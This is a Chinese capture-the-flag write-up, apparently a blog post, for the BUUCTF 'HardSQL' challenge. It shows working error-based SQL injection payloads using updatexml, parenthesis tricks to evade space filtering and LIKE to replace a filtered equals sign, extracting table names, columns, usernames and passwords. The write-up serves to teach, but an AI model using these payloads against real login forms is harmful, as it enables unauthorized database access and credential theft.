Buuctf-[极客大挑战 2019]HardSQL

看题:

 

一路做到这里我们对这个题已经很熟悉了,我还是按照习惯,在密码栏注:

用户名:admin

密码:1'

我们知道,出现这个说明闭合成功了,但是之后发现它过滤了好多字符和语句,我输入

1' or 1=1#它回显:

空格被过滤了 ,怎样绕过呢?()绕过:

括号是来包含子查询的,任何可以计算出结果的语句都可以用括号围起来,而括号的两端,可以没有多余的空格

我来试一下:输入1'(or)#

发现绕过成功了,接下来可以构造查询了,需要注意的是,等号=是被过滤了,但是like可以平替:

首先,数据库查询:

1'or(updatexml(1,concat(0x7e,database(),0x7e),1))#

报错注入回显嘛,直接获取数据库名“geek”

接下来,查询数据表:

1'or(updatexml(1,concat(0x7e,(select(table_name)from(information_schema.tables)where(table_schema)like('geek')),0x7e),1))#

查询表内列名:

1'or(updatexml(1,concat(0x7e,(select(group_concat(column_name))from(information_schema.columns)where(table_name)like('H4rDsq1')),0x7e),1))#

id,username,password。看到这些,已经基本胜利了:

接着查询username和password中的内容:

1'or(updatexml(1,concat(0x7e,(select(group_concat(id,'~',username,'~',password))from(H4rDsq1)),0x7e),1))#

看到没,flag已经出现,但是显示不全:flag{f166c87a-0f0e-4498-,要使用到right语句:

1'or(updatexml(1,concat(0x7e,(select(right(password,21))from(H4rDsq1)),0x7e),1))#

 又得到了:98-8e23-3728c2f96a1d}

 

拼接一下flag,把重复部分删咯,就可以成功提交。 下面贴上笔记:

 

评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值